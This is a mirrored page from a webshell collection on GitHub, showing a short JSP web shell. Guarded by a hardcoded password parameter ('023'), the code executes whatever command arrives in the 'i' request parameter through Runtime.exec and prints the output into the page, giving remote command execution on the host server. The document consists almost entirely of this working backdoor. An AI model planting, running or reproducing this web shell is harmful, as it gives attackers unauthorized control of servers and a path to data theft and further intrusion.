mirror of
https://github.com/tennc/webshell
synced 2024-11-10 13:44:18 +00:00
12 lines
364 B
Text
12 lines
364 B
Text
<%
|
|
if("023".equals(request.getParameter("pwd"))){
|
|
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
|
|
int a = -1;
|
|
byte[] b = new byte[2048];
|
|
out.print("<pre>");
|
|
while((a=in.read(b))!=-1){
|
|
out.println(new String(b));
|
|
}
|
|
out.print("</pre>");
|
|
}
|
|
%>
|